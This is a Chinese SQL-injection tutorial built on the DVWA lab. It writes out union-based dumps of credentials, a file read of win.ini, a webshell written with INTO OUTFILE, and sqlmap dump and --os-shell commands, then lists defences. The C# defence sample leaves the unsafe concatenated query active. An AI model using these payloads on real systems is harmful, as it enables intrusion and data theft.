網絡安全之sql注入

1.何爲Sql注入?

所謂SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來講,它是利用現有應用程序,將(惡意的)SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.--百度百科之Sql注入php

那sql注入的原理是啥呢?html

簡單點說,你們都知道,咱們網站的一些數據都要通過數據庫去查詢,咱們只要找到服務器對某些某些請求缺乏校驗,就能找到漏洞
舉個例子:
Select *from TableA where id="B"這個是個很正常的一個sql查詢語句
注入的本質就是把用戶輸入的數據當作代碼去執行,這裏有兩個關鍵條件,一就是用戶能控制輸入,二就是本來程序要執行的代碼拼接了用戶輸入的數據
這裏假設B咱們能夠控制咱們可使代碼變成如下方式
Select *from TableA where id='';drop table TableA--''
顯而易見,若是數據庫執行了此條語句將會把表TableA給刪除了,帶來了不可預料的影響。
Sql注入漏洞的典型危害是能夠被用來獲取數據庫敏感數據(拖褲)java

sql注入都有哪些類型呢?
①.sql盲注,包括布爾盲注和時間注入。
②.sql回顯注入,包括報錯注入和union聯合查詢注入。咱們今天主要講的就是sql回顯注入。python

2.sql注入實戰

(1)sql注入的流程

(2)工具、測試平臺及靶機的搭建

①.DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在爲安全專業人員測試本身的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。

DVWA傳送門mysql

②.因爲dvwa是一個php和mysql的環境,故我使用了功能強大的建站集成軟件包XAMPP(Apache+MySQL+PHP+PERL)

具體的搭建流程有興趣的同窗能夠去下載來看看
DVWA+XAMPP搭建流程傳送門web

③.火狐hackbar插件

hackbar使用教程傳送門正則表達式

(3)sql注入測試

聲明:由於測試平臺數據庫爲mysql,因此接下來的測試語句所有爲mysql語句sql

①.首先咱們先把dvwa的安全模式設置爲low模式,以便於咱們進行測試。
shell

②.咱們選擇sql注入欄目,判斷是否有sql注入
在滲透一個web應用時咱們首先要了解業務,咱們先輸入一個正常的數字
數據庫

固然,咱們也能夠用咱們熟悉的postman來請求http

那咱們輸入數據時,web應用爲何能返回咱們須要的數據呢?
在座的各位都是這方面的老司機,對於web數據交互都很熟悉。

經過這個流程,咱們徹底能夠猜想下這個sql語句長什麼樣子。
select Firstname,Surname from 表 where userid=咱們輸入的id

那咱們如今猜想了sql語句,可是要怎麼去測試有沒有漏洞呢?
咱們發現當輸入數據時url是發生變化的。

咱們嘗試輸入1',web程序給咱們以下的回顯:

從回顯信息中咱們能夠看出,在1'附近有sql錯誤,那就證實了有可注入點,由於咱們輸入1時是正確的,可是輸入了1'卻出現了錯誤。

那咱們如何去測試驗證這個web程序的漏洞呢?如下是三種經常使用的注入POC(驗證性觀點測試)

當咱們輸入 1' or '1'='1 時,咱們發現,web程序回顯出一堆的數據:

咱們發現,這裏已經執行成功了,證實sql語句被正常執行了

③.讀取數據
那根據咱們剛纔講的sql注入流程,咱們判斷完sql注入後,咱們接下來即是要獲取數據
咱們都知道,sql中的引號是要閉合的,在sql注入中,常用註釋符,來構造閉合的語句,在mysql中註釋符後應加空格,不然會報錯。

在獲取數據以前,咱們還要作一件很重要的事,那就是肯定查詢的字段數
咱們輸入 1' order by 10-- ,web程序給咱們如下的回顯

證實了字段數必定小於10,那咱們如今如何去肯定字段數呢,咱們採用二分法,一步步去看字段數是爲幾。

咱們嘗試了幾個後,發現3仍是太大,那就是說明字段數爲2.

接下來咱們就要肯定sql注入的回顯點
咱們使用 xx' union select 1,2-- 語句來肯定回顯點

此時的sql語句應該是變做 select Firstname,Surname from 表 where userid='xx' union select 1,2--' 這樣Firstname,Surname顯示的數據即是咱們union查詢的數據

接下來咱們查看下數據庫的版本和數據庫存放的目錄

咱們也可使用 xx' union select user(),database()-- 語句獲取用戶名和數據庫名

既然咱們能查到這些信息,那麼咱們是否也能查詢到數據庫的全部信息呢?答案是確定的。
接下來咱們知道數據庫就可使用 xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 來查詢表名

知道了表名,咱們就可使用 xx' union select 1,column_name from information_schema.columns where table_name='user'-- 來查詢列名

咱們就能夠發現其中用戶名和密碼都爲敏感數據。咱們的目的就是要查詢出這兩個信息

接下來咱們就能夠查詢用戶名及密碼等敏感數據,咱們使用 xx' union select user,password from users-- 來查詢數據

咱們發現密碼是一串hash串,數了一下是32位,就極有多是md5加密,去用解密工具解密一下,就獲得了明文的密碼。

咱們不僅僅能夠獲取數據庫的敏感數據,咱們也能夠獲取系統的敏感數據,咱們使用 xx' union select 1,load_file("c:\windows\win.ini")--

固然,咱們都想把一個漏洞利用最大化,除了能獲取數據外,最理想的固然是控制服務器,最多見的就是寫入webshell,咱們上節課已經講過了webshell和一句話木馬
PHP一句話木馬:
接下來咱們要作的就是如何把這個一句話木馬寫入。咱們要寫入一句話木馬,就得知道應該寫入哪裏,這裏要知道web應用程序的物理路徑。經常使用的方法就是經過引起異常,致使應用報錯,爆出物理路徑。
xx' union select "xx","xx" into outfile "xx"--

xx' union select " ","webshell" into outfile "C:\xampp\htdocs\dvwa\vulnerabilities\sqli\1.php"--

咱們經過上節課講的中國菜刀進行訪問,就能夠進入文件管理了:

學到這裏,同窗們可能就清楚了整個流程,可是會有同窗問了,整個sql注入較爲複雜,能不能有工具進行自動化注入呢? 接下來咱們就咱們學習一款注入神器工具--sqlmap

3.Sqlmap工具的使用

(1)Sqlmap爲什麼被稱爲神器?

①.支持的數據庫:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB,HSQLDB and Informix
支持的數據庫範圍極廣,大部分經常使用的數據庫都是支持的。

②.支持的參數位置:GET,POST or Cookie parameters or via the HTTP User-Agent request header

③.支持多種注入模式
基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。

基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。

基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。

聯合查詢注入,可使用union的狀況下的注入。

堆查詢注入,能夠同時執行多條語句的執行時的注入。

備註:
Youtube上有人作的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://www.kali.org.cn/thread-22844-1-1.html
http://www.javashuo.com/article/p-puopmlof-e.html

(2).sqlmap的基本語法

咱們學習一個命令窗口的使用,首先要調出他的幫助菜單,sqlmap的幫助菜單命令爲:
-h,--helper
-hh 這是更爲詳細的幫助菜單命令
sqlmap幫助菜單中文版傳送門

(3).判斷注入點

命令:python sqlmap.py -u "目標URL"
那這邊咱們就使用-u命令進行注入執行
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515"

(4)獲取數據

①.咱們首先來獲取下當前的用戶和數據庫名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515" --current-user --current-db

②.接下來咱們根據剛纔的流程咱們獲取下表:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa --tables

③.而後就是字段名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users --columns

④.獲取用戶名和密碼:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --dump
使用-c指定字段 使用--dump獲取數據

他會自動幫咱們的數據下載成csv格式保存


⑤.咱們前面講了能夠上傳webshell,其實sqlmap也是能夠的
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --os-shell

咱們也能夠用中國菜刀直接去連

接下來咱們把dvwa安全級別上升,改成Medium級別,咱們如今來看下sql注入測試界面有何變化?

咱們發現原來的輸入框改爲了下拉框,不是由咱們輸入而是讓咱們選擇。
咱們知道,數據的提交都是http請求,咱們先試着選擇1,而後打開谷歌開發者工具(F12),點擊提交,咱們能夠看到,請求由原來的get請求變成了post請求,參數不變。

這個時候咱們就發現,其實跟咱們以前差很少,咱們也能夠經過去改變參數。
咱們能夠經過一些抓包改包的工具去進行修改post參數。
這裏值得注意的是當咱們像簡單模式同樣注入sql語句xx' union select user(),database()--時,咱們會發現引號會被轉義符轉義掉,此時咱們直接去掉引號便可
咱們這裏換成postman請求http

那咱們也能夠用sqlmap
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --current-user --current-db

接下來就跟咱們初級的作法同樣了,這裏就不一一贅述。

咱們再把安全級別調成High,咱們看下界面變成什麼樣?

咱們能夠清晰的看到,界面變成了點擊彈出一個窗口,在彈出的窗口處輸入數據,提交後回顯到原來的界面,咱們用low模式下的注入方法嘗試,沒有任何問題,都是能夠的。
可是咱們看看在sqlmap下能夠嘛,咱們發現不在同一個頁面,致使不能夠,那sqlmap有沒有其餘命令能夠支持這個的呢?

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/session-input.php/" --data "id=1&Submit=Submit" -p "id" --cookie "security=high;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --second-url "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --current-user --current-db

4.sql注入的防護

(1).減小錯誤消息提示

應用的異常信息應該給出儘量少的提示(關閉debug調試模式),最好使用自定義的錯誤信息對原始錯誤信息進行包裝。

(2).部署硬件防火牆

部署硬件web防火牆(WAF),可有效防止SQL注入等攻擊。

(3).消除特殊字符,對字符串進行過濾

永遠不要信任用戶的輸入。對用戶的輸入進行校驗,能夠經過正則表達式,或限制長度,對單引號與及特殊字符進行轉換等。從以上的sql注入攻擊實戰咱們能夠發現,大部分的sql注入都須要填入一些特殊字符,好比引號和等號或者or等關鍵字

這個是咱們平臺的登陸界面,就是採用了消除特殊字符的方法,一旦有特殊字符,便返回輸入不合法,從根源斷絕sql注入。

(4)sql預編譯傳參

儘可能不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取.在使用參數化查詢的狀況下,數據庫服務器不會將參數的內容視爲SQL指令的一部份來處理,而是在數據庫完成SQL指令的編譯後,才套用參數運行,所以就算參數中含有指令,也不會被數據庫運行。Access、SQL Server、MySQL、SQLite等經常使用數據庫都支持參數化查詢。

C#  sqlservers
	 //string sql = "select *from User_Info where User_SN=@UserNO and User_Pwd=@pwd and Grade_SN=@sel";
        //SqlParameter[] pars ={
        //                    new SqlParameter("@UserNO",SqlDbType.NVarChar,15),
        //                    new SqlParameter("@pwd",SqlDbType.NVarChar,15),
        //                    new SqlParameter("@sel",SqlDbType.NVarChar,15)
        //                    };
        //pars[0].Value = UserNO;
        //pars[1].Value = pwd;
        //pars[2].Value = sel;

        string sql =string.Format(@"select *from User_Info where User_SN={0} and User_Pwd={1} and Grade_SN={2}",UserNO,pwd,sel);

java  MySQL
stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");
perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();
相關文章
相關標籤/搜索